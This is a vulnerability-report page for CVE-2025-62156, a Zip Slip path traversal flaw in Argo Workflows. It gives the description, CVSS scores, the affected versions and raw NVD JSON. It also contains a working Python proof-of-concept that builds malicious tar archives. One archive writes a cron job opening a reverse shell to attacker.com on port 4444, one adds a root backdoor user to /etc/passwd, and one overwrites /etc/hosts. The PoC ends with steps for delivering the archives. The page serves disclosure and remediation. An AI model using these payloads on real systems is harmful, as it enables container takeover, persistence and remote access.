Security Vulnerability Report
中文
CVE-2025-62156 CVSS 8.1 HIGH

CVE-2025-62156

Published: 2025-10-14 15:16:13
Last Modified: 2026-02-06 20:49:30

Description

Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 contain a Zip Slip path traversal vulnerability in artifact extraction. During artifact extraction the unpack/untar logic (workflow/executor/executor.go) uses filepath.Join(dest, filepath.Clean(header.Name)) without validating that header.Name stays within the intended extraction directory. A malicious archive entry can supply a traversal or absolute path that, after cleaning, overrides the destination directory and causes files to be written outside the /work/tmp extraction path and into system directories such as /etc inside the container. The vulnerability enables arbitrary file creation or overwrite in system configuration locations (for example /etc/passwd, /etc/hosts, /etc/crontab), which can lead to privilege escalation or persistence within the affected container. Update to 3.6.12 or 3.7.3 to remediate the issue.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:* - VULNERABLE
cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:* - VULNERABLE
Argo Workflows < 3.6.12
Argo Workflows 3.7.0
Argo Workflows 3.7.1
Argo Workflows 3.7.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-62156 - Argo Workflows Zip Slip Path Traversal PoC This PoC creates a malicious tar archive that exploits the path traversal vulnerability in Argo Workflows artifact extraction. """ import tarfile import io import os def create_malicious_tar(output_path, target_path, content): """ Create a tar archive with a malicious entry that uses path traversal to write outside the intended extraction directory. Args: output_path: Path to save the malicious tar file target_path: Target file path (e.g., '../../../etc/cron.d/backdoor') content: Content to write to the target file """ with tarfile.open(output_path, 'w') as tar: # Create a tar info with the traversal path as the name info = tarfile.TarInfo(name=target_path) info.size = len(content) info.mode = 0o755 info.uid = 0 info.gid = 0 # Add the malicious entry to the archive tar.addfile(info, io.BytesIO(content.encode())) print(f"[+] Malicious tar archive created: {output_path}") print(f"[+] Target file: {target_path}") if __name__ == "__main__": # Example 1: Overwrite /etc/cron.d/backdoor for persistence cron_content = "* * * * * root bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'\n" create_malicious_tar( "exploit_cron.tar", "../../../etc/cron.d/backdoor", cron_content ) # Example 2: Add a new user to /etc/passwd passwd_content = "backdoor:$1$xyz$abc:0:0:backdoor:/root:/bin/bash\n" create_malicious_tar( "exploit_passwd.tar", "../../../etc/passwd", passwd_content ) # Example 3: Modify /etc/hosts for DNS hijacking hosts_content = "127.0.0.1 attacker-controlled.example.com\n" create_malicious_tar( "exploit_hosts.tar", "../../../etc/hosts", hosts_content ) print("\n[!] To exploit:") print(" 1. Upload the malicious tar to an accessible location (S3, HTTP, etc.)") print(" 2. Configure an Argo Workflows artifact pointing to this file") print(" 3. Execute the workflow to trigger artifact extraction") print(" 4. The malicious file will be written outside the extraction directory")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62156", "sourceIdentifier": "[email protected]", "published": "2025-10-14T15:16:12.683", "lastModified": "2026-02-06T20:49:29.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. Versions prior to 3.6.12 and versions 3.7.0 through 3.7.2 contain a Zip Slip path traversal vulnerability in artifact extraction. During artifact extraction the unpack/untar logic (workflow/executor/executor.go) uses filepath.Join(dest, filepath.Clean(header.Name)) without validating that header.Name stays within the intended extraction directory. A malicious archive entry can supply a traversal or absolute path that, after cleaning, overrides the destination directory and causes files to be written outside the /work/tmp extraction path and into system directories such as /etc inside the container. The vulnerability enables arbitrary file creation or overwrite in system configuration locations (for example /etc/passwd, /etc/hosts, /etc/crontab), which can lead to privilege escalation or persistence within the affected container. Update to 3.6.12 or 3.7.3 to remediate the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionEndExcluding": "3.6.12", "matchCriteriaId": "3742ECA2-1899-4530-89C3-8AECCF7EFD8E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "3.7.0", "versionEndExcluding": "3.7.3", "matchCriteriaId": "F948D105-1410-46C5-B1BE-FC8B7ACB5678"}]}]}], "references": [{"url": "https://github.com/argoproj/argo-workflows/blob/946a2d6b9ac3309371fe47f49ae94c33ca7d488d/workflow/executor/executor.go#L993", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://github.com/argoproj/argo-workflows/commit/5659ad9b641fcf52c04ed594cd6493f9170f6011", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/argoproj/argo-workflows/commit/9f6bc5d236cd1b24d607943384511d71ad17a4c3", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-p84v-gxvw-73pf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}